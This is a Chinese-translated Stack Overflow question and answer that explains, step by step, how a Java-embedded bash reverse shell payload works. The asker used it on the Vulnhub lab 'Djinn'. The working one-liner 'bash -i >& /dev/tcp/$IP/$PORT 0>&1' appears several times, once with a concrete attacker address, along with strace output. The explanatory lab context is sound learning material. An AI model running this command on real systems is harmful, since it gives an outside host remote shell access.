首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >这个反向的shell有效载荷"bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1“做了什么?

这个反向的shell有效载荷"bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1“做了什么?
EN

Stack Overflow用户
提问于 2021-05-27 14:18:11
回答 1查看 891关注 0票数 0

当我试图反转外壳时,我发现了这个有效载荷。

代码语言:javascript
复制
bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1

https://www.revshells.com/部分java。

我理解bash -i >& /dev/tcp/$IP/$PORT 0>&1,但没有弄清楚bash命令的其余部分是做什么的。

这是一个名叫Djinn的Vulnhub实验室,我已经测试过了。我已经使用python、nc、php尝试了https://revshells.com上的其他有效负载,但唯一有效的方法是上面的bash命令。

这是我的受害者信息

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Linux djinn 4.15.0-66-泛型

GNU,版本4.4.20(1)-release (x86_64-pc-linux-gnu)

对不起,我不能嵌入图片到帖子中。

我的受害者信息: id,os版本,bash版本

EN

回答 1

Stack Overflow用户

发布于 2021-05-27 14:54:06

P= Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/10.10.10.10/9001 0>&1");

有趣的事实:Runtime.getRuntime().exec而不是展开$@不做 intepret >&。您可以在strace输出中看到:

代码语言:javascript
复制
$ strace -ff java shell |& grep bash
execve("/usr/bin/bash", ["bash", "-c", "$@|bash", "0", "echo", "bash", "-i", ">&", "/dev/tcp/10.10.10.10/9001", "0>&1"]...

语法是(请参阅man bash):

代码语言:javascript
复制
bash -c <script_to_run>  <assign to $0> <assign to $1> <$2> <$3 so on>...

所以看起来:

代码语言:javascript
复制
bash -c $@|bash 0 echo bash -i >& /dev/tcp/$IP/$PORT 0>&1
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ - arguments from $0  
        ^^^^^^^ - script to run 

0被分配给$0echo分配给$1,等等。

然后bash -c执行脚本$@ | bash。第一个$0参数被展开(参见man bash)到来自1的参数列表,因此$@扩展到echo bash -i >& /dev/tcp/$IP/$PORT 0>&1 (注意:>&而不是解释的,这里是字符串)。

代码语言:javascript
复制
echo bash -i '>&' '/dev/tcp/$IP/$PORT' '0>&1' | bash

然后执行echo ... | bash|是管道,echo输出bash -i >& /dev/tcp/$IP/$PORT 0>&1。在|的右侧,bash监听要执行的命令,因此它将执行bash -i >& /dev/tcp/$IP/$PORT 0>&1,因为这是来自echo的输出。

代码语言:javascript
复制
bash -i >& /dev/tcp/$IP/$PORT 0>&1

现在,右边的| bash>& 0>&1解释为重定向。外壳将产生另一个带有-i参数的-i。将生成一个交互式bash,将>& stderr和stdout重定向到/dev/tcp/$IP/$PORT,然后0>&1字符串也连接到/dev/tcp/$IP/$PORT/dev/tcp/$IP/$PORT是一种特殊的(内置的?)允许bash从网络位置发送/接收的文件--即。从/dev/tcp/$IP/$PORT写入或读取就像与远程主机进行通信一样。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/67724055

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档